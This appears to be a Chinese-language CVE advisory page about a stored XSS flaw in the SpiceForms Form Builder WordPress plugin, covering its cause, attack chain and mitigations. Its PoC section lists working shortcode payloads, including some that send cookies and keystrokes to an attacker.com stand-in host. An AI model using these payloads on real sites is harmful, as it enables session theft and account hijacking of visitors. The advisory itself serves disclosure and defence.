CVE-2025-12178 CVSS 6.4 中危

CVE-2025-12178 WordPress SpiceForms Form Builder存储型XSS漏洞

披露日期: 2026-01-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-12178

漏洞类型

存储型XSS

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

SpiceForms Form Builder (WordPress插件)

漏洞概述

CVE-2025-12178是WordPress SpiceForms Form Builder插件中的一个存储型跨站脚本(XSS)漏洞。该插件用于在WordPress网站中构建表单，其1.0及以下所有版本存在严重的安全缺陷。由于插件在处理用户通过'spiceforms'短代码提供的属性时，未进行充分的输入清理和输出转义，攻击者可以利用此漏洞在受影响的页面中注入任意JavaScript代码。由于是存储型XSS，恶意脚本会被永久保存在服务器端，任何访问包含该短代码页面的用户都会自动执行攻击者植入的脚本。攻击者可通过此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或传播恶意软件，对网站和用户造成严重安全威胁。

技术细节

该漏洞的根本原因在于SpiceForms Form Builder插件对用户输入的处理不当。在spiceform.php文件的第135行附近，插件直接使用用户提供的属性值而未进行适当的sanitization和escaping处理。当攻击者通过WordPress短代码机制插入带有恶意JavaScript代码的属性时，这些代码会被存储到数据库中。当其他用户访问包含该短代码的页面时，WordPress会从数据库读取并渲染这些内容，执行其中的恶意脚本。攻击者只需拥有WordPress的contributor级别权限（低权限账户）即可利用此漏洞，无需管理员权限。由于WordPress的短代码机制会在页面加载时自动解析执行，这使得攻击具有持久性和隐蔽性。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标网站使用的WordPress版本和SpiceForms Form Builder插件版本

STEP 2

步骤2: 账户获取

攻击者获取WordPress contributor级别或更高权限的账户账号

STEP 3

步骤3: 构造恶意短代码

攻击者构造包含XSS payload的spiceforms短代码，如[spiceforms field_name='<script>恶意代码</script>']

STEP 4

步骤4: 注入恶意脚本

攻击者在文章或页面中插入恶意短代码，WordPress保存内容时未进行适当过滤，payload被存储到数据库

STEP 5

步骤5: 等待受害者访问

当其他用户访问包含该短代码的页面时，WordPress渲染页面内容，存储型XSS payload被执行

STEP 6

步骤6: 窃取敏感信息

恶意JavaScript代码执行，可窃取用户cookie、会话令牌或其他敏感信息，并发送到攻击者控制的服务器

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress SpiceForms Form Builder XSS PoC -->
<!-- Required: Contributor-level access or higher -->

<!-- Basic XSS Payload -->
[spiceforms field_name='" onerror="alert(document.domain)" x="']

<!-- Cookie Theft Payload -->
[spiceforms field_name='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>']

<!-- Keylogger Payload -->
[spiceforms input_id='1" onfocus="fetch(`https://attacker.com/log?k=${event.key}`)" x="']

<!-- Stored XSS via form_id parameter -->
[spiceforms form_id='<img src=x onerror=document.location="https://attacker.com/cookie?"+document.cookie>']

影响范围

SpiceForms Form Builder <= 1.0

防御指南

临时缓解措施

在官方修复版本发布之前，可采取以下临时缓解措施：1) 临时禁用SpiceForms Form Builder插件；2) 限制用户角色权限，禁止低权限用户使用短代码；3) 部署Web应用防火墙(WAF)规则过滤恶意输入；4) 使用WordPress安全插件监控异常短代码使用行为；5) 对现有页面进行全面检查，清理可能存在的恶意短代码内容。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表